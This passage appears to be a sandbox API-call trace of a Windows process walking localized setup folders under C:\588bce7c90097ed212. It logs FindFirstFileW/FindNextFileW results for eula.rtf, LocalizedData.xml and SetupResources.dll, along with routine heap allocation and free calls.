lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.670] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.670] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.670] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.670] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.671] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.671] GetProcessHeap () returned 0xc00000 [0088.671] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.671] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1031", cAlternateFileName="")) returned 1 [0088.671] GetProcessHeap () returned 0xc00000 [0088.671] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.671] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.671] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.671] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.671] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.671] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.671] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.671] GetProcessHeap () returned 0xc00000 [0088.672] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.672] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1032", cAlternateFileName="")) returned 1 [0088.672] GetProcessHeap () returned 0xc00000 [0088.672] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.672] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.672] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.672] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.672] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.673] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.673] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.673] GetProcessHeap () returned 0xc00000 [0088.673] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.673] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1033", cAlternateFileName="")) returned 1 [0088.673] GetProcessHeap () returned 0xc00000 [0088.673] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.673] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.673] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.673] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.673] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.674] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.674] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.674] GetProcessHeap () returned 0xc00000 [0088.674] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.674] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1035", cAlternateFileName="")) returned 1 [0088.674] GetProcessHeap () returned 0xc00000 [0088.674] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.674] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.674] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.674] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.675] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.675] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.675] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.675] GetProcessHeap () returned 0xc00000 [0088.675] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.675] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1036", cAlternateFileName="")) returned 1 [0088.675] GetProcessHeap () returned 0xc00000 [0088.675] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.675] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.675] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.675] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.675] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.675] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.676] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.676] GetProcessHeap () returned 0xc00000 [0088.676] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.676] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1037", cAlternateFileName="")) returned 1 [0088.676] GetProcessHeap () returned 0xc00000 [0088.676] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.676] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, 